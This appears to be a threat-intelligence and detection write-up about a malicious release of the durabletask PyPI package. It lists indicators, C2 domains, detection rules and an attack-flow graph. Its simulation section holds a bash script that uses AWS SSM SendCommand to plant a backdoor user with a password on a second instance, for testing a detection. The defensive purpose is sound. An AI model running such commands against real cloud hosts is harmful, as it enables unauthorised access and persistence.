durabletask: TeamPCP’s Latest PyPI Supply Chain Compromise
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
A supply chain attack targeted the Microsoft durabletask Python package on PyPI, resulting in the publication of malicious versions 1.4.1, 1.4.2, and 1.4.3. The attacker reportedly leveraged a compromised GitHub account to obtain a PyPI token and upload weaponized wheel files. The malicious payload was delivered through rope.pyz archives designed to steal cloud credentials and spread to additional systems. Detection efforts should focus on specific temporary files, suspicious process activity, and traffic to the identified command-and-control domains.
Investigation
Wiz linked the compromised GitHub account to the earlier @antv campaign. Their analysis found that the attacker reused commit messages and accessed leaked GitHub secrets containing the PyPI publishing token. The malicious wheel files included a transformers.pyz component that dropped rope.pyz payloads into /tmp and initiated command-and-control communication with check.git-service.com and t.m-kosche.com.
Mitigation
Organizations should rotate any potentially exposed cloud and password manager credentials, block the identified command-and-control domains and URLs, and search for infection indicators such as ~/.cache/.sys-update-check and ~/.cache/.sys-update-check-k8s. Any temporary managed.pyz or rope-*.pyz files should be removed, and related Python processes should be terminated. GitHub Actions and PyPI publishing workflows should also be hardened to reduce the risk of similar compromise.
Response
Security teams should identify any use of durabletask versions 1.4.1 through 1.4.3, search for /tmp/managed.pyz and /tmp/rope-*.pyz, and monitor for python3 processes executing those files. Outbound DNS and HTTP traffic to check.git-service.com and t.m-kosche.com should be blocked, while CloudTrail and Kubernetes audit logs should be reviewed for suspicious SSM or kubectl exec activity. Affected credentials should be rotated immediately, and password manager logs should be checked for signs of brute-force or unauthorized access.
"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef credential fill:#ffff99 classDef operator fill:#ff9900 classDef c2 fill:#ffb6c1 %% Nodes initial_node["<b>Start</b>: Attacker obtains valid GitHub credentials"] class initial_node action action_initial_access["<b>Action</b> – <b>T1078 Valid Accounts</b>: Compromised GitHub account provides repository access"] class action_initial_access action tool_gitHub["<b>Tool</b> – <b>Name</b>: GitHub<br/><b>Role</b>: Source code hosting platform"] class tool_gitHub tool action_cred_exploit["<b>Action</b> – <b>T1212 Exploitation for Credential Access</b>: Dumped GitHub secrets to obtain PyPI token"] class action_cred_exploit action file_pypi_token["<b>File</b> – <b>Name</b>: PyPI token"] class file_pypi_token file action_cred_password_stores["<b>Action</b> – <b>T1555.005 Password Managers</b> & <b>T1555.006 Cloud Secrets Management Stores</b>: Harvested credentials for cloud platforms and password managers"] class action_cred_password_stores action credential_aws["<b>Credential</b>: AWS access keys and SSM token"] class credential_aws credential credential_azure["<b>Credential</b>: Azure service principal"] class credential_azure credential credential_gcp["<b>Credential</b>: GCP service account"] class credential_gcp credential credential_k8s["<b>Credential</b>: Kubernetes service account token"] class credential_k8s credential credential_vault["<b>Credential</b>: HashiCorp Vault token"] class credential_vault credential action_supply_chain["<b>Action</b> – <b>T1195.002 Compromise Software Supply Chain</b>: Used PyPI token to publish malicious durabletask 1.4.1u20111.4.3 packages"] class action_supply_chain action tool_pypi["<b>Tool</b> – <b>Name</b>: PyPI repository"] class tool_pypi tool malware_durabletask["<b>Malware</b> – <b>Name</b>: durabletask package (malicious)"] class malware_durabletask malware action_execution["<b>Action</b> – <b>T1204.002 User Execution: Malicious File</b>: Victims install compromised package causing payload download"] class action_execution action file_managed["<b>File</b> – <b>Path</b>: /tmp/managed.pyz"] class file_managed file file_rope["<b>File</b> – <b>Path</b>: /tmp/rope-*.pyz"] class file_rope file action_defense_evasion["<b>Action</b> – <b>T1127 Trusted Developer Utilities Proxy Execution</b>: Malicious code executed via Python import hooks"] class action_defense_evasion action action_persistence["<b>Action</b> – <b>T1176 Software Extensions</b>: Injection points in __init__.py and other modules"] class action_persistence action action_credential_dumping["<b>Action</b> – <b>T1003 OS Credential Dumping</b>: Extracted AWS SSM tokens, Kubernetes tokens and shell history"] class action_credential_dumping action action_lateral_movement["<b>Action</b> – <b>T1570 Lateral Tool Transfer</b>: Propagated to additional hosts via AWS SSM and Kubernetes exec"] class action_lateral_movement action tool_aws_ssm["<b>Tool</b> – <b>Name</b>: AWS SSM"] class tool_aws_ssm tool tool_k8s_exec["<b>Tool</b> – <b>Name</b>: Kubernetes exec"] class tool_k8s_exec tool op_and(("AND")) class op_and operator action_c2["<b>Action</b> – <b>T1219 Remote Access Tools</b> & <b>T1071.001 Web Protocols</b>: Communicates with C2 domains using /v1/models endpoint"] class action_c2 action c2_domain1["<b>C2 Domain</b>: check.git-service.com"] class c2_domain1 c2 c2_domain2["<b>C2 Domain</b>: t.mu2011kosche.com"] class c2_domain2 c2 action_exfiltration["<b>Action</b> – <b>T1048 Exfiltration Over Alternative Protocol</b>: Sent data to /api/public/version endpoint"] class action_exfiltration action exfil_endpoint["<b>Endpoint</b>: /api/public/version"] class exfil_endpoint c2 %% Connections initial_node –>|leads_to| action_initial_access action_initial_access –>|enables| action_cred_exploit action_cred_exploit –>|captures| file_pypi_token file_pypi_token –>|used_by| action_supply_chain action_supply_chain –>|publishes| malware_durabletask malware_durabletask –>|installed_by| action_execution action_execution –>|downloads| file_managed action_execution –>|downloads| file_rope file_managed –>|executed_via| action_defense_evasion file_rope –>|executed_via| action_defense_evasion action_defense_evasion –>|establishes| action_persistence action_persistence –>|enables| action_credential_dumping action_credential_dumping –>|collects| credential_aws action_credential_dumping –>|collects| credential_azure action_credential_dumping –>|collects| credential_gcp action_credential_dumping –>|collects| credential_k8s action_credential_dumping –>|collects| credential_vault credential_aws –>|used_for| action_lateral_movement credential_k8s –>|used_for| action_lateral_movement action_lateral_movement –>|leverages| tool_aws_ssm action_lateral_movement –>|leverages| tool_k8s_exec action_lateral_movement –>|spreads_to| op_and op_and –>|connects_to| action_c2 action_c2 –>|contacts| c2_domain1 action_c2 –>|contacts| c2_domain2 c2_domain1 –>|receives_data_via| action_exfiltration c2_domain2 –>|receives_data_via| action_exfiltration action_exfiltration –>|sends_to| exfil_endpoint "
Attack Flow
Detections
Suspicious Executable Download (via proxy)
View
Linux Script Was Created In Temporary Folders (via file_event)
View
Hidden File Was Created On Linux Host (via file_event)
View
IOCs (HashSha256) to detect: durabletask: TeamPCP's Latest PyPi Compromise
View
Outbound Connection to TeamPCP C2 Domains [Proxy]
View
Detect Python Payload Execution via /tmp/managed.pyz [Linux Process Creation]
View
Detection of AWS SSM Propagation via SSM:SendCommand and SSM:DescribeInstanceInformation [AWS Cloudtrail]
View
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.
-
Attack Narrative & Commands:
An adversary has obtained credentials on a compromised EC2 instance (Instance A). Using those credentials, the attacker leverages AWS Systems Manager to infiltrate a second instance (Instance B) without opening any network ports. The steps are:- Enumerate reachable instances via
SSM:DescribeInstanceInformationto locate targets. - Issue a malicious command through
SSM:SendCommand(e.g., create a new privileged user) on the target instance. - Validate execution by retrieving command output.
The attacker uses the AWS CLI, which directly generates CloudTrail events for both API calls, satisfying the rule’s conditions.
- Enumerate reachable instances via
-
Regression Test Script: The script below reproduces the attack in a controlled lab. It expects the AWS CLI to be configured with credentials that have
ssm:SendCommandandssm:DescribeInstanceInformationpermissions.#!/usr/bin/env bash set -euo pipefail # ------------------------------------------------- # Variables – adjust for your lab environment # ------------------------------------------------- REGION="us-east-1" COMPROMISED_INSTANCE="i-0abcdef1234567890" # Instance A (attacker foothold) TARGET_INSTANCE="i-0fedcba9876543210" # Instance B (lateral target) # 1️⃣ Enumerate SSM‑managed instances (triggers DescribeInstanceInformation) echo "[*] Enumerating SSM‑managed instances..." aws ssm describe-instance-information --region "$REGION" --output json > /tmp/ssm_instances.json # 2️⃣ Send a malicious command to the target (triggers SendCommand) echo "[*] Sending malicious payload to $TARGET_INSTANCE ..." MALICIOUS_CMD="useradd -m eviluser && echo 'evilpass' | passwd --stdin eviluser" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Persist malicious user" --parameters commands=["$MALICIOUS_CMD"] --region "$REGION" --output json > /tmp/ssm_sendcommand.json # 3️⃣ Retrieve command ID and wait for completion (optional) CMD_ID=$(jq -r '.Command.CommandId' /tmp/ssm_sendcommand.json) echo "[*] Command ID: $CMD_ID – waiting for execution..." aws ssm list-command-invocations --command-id "$CMD_ID" --details --region "$REGION" --output json echo "[+] Simulation complete. CloudTrail should now contain both SSM:DescribeInstanceInformation and SSM:SendCommand events." -
Cleanup Commands: Remove the malicious user and delete any residual command history.
#!/usr/bin/env bash set -euo pipefail REGION="us-east-1" TARGET_INSTANCE="i-0fedcba9876543210" echo "[*] Cleaning up malicious artifacts on $TARGET_INSTANCE ..." CLEANUP_CMD="userdel -r eviluser || true" aws ssm send-command --instance-ids "$TARGET_INSTANCE" --document-name "AWS-RunShellScript" --comment "Cleanup after test" --parameters commands=["$CLEANUP_CMD"] --region "$REGION"